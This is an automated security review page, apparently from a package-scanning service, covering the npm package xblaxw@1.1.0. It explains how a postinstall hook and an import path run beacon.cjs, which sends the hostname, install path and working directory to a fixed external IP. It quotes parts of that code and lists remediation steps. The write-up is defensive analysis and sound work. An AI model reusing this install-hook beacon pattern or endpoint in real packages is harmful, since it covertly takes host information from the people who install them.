xblaxw@1.1.0
Compatibility shim.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 14d ago · by lpm-firewall-aiThe automatic install hook and import-time path transmit host identity and package location to a fixed external recipient. This is concrete metadata exfiltration, so the package warrants blocking.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or importing index.js.
Impact
The recipient can identify the host and package installation location.
Mechanism
beacon.cjs posts the hostname, install path, working directory, package name, and npm version metadata to the fixed endpoint.
Attack narrative
On installation, the postinstall script runs beacon.cjs, which posts host and installation metadata to a fixed external IP. Importing the package triggers the same beacon. The inspected payload does not include credentials or file contents, but it discloses host identity and paths without an apparent opt-in.
AI rationale
The automatic install hook and import-time path transmit host identity and package location to a fixed external recipient. This is concrete metadata exfiltration, so the package warrants blocking.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 96.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook automatically runs beacon.cjs.
- beacon.cjs sends a POST to a fixed external IP address.
- The POST includes the machine hostname, install path, and current working directory.
- Importing index.js also invokes the beacon.
Evidence against
- The inspected beacon payload contains package and environment metadata; no credentials or file contents are included.
- The README describes the behavior as reporting installation metadata, consistent with the inspected payload.
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "MIT"
}
High
Suspicious Lifecycle Evidence
The postinstall hook automatically runs beacon.cjs.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "xblaxw";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to xblaxw@1.1.0.
See all versions of xblaxw for other recorded verdicts.
- Avoid installing xblaxw@1.1.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.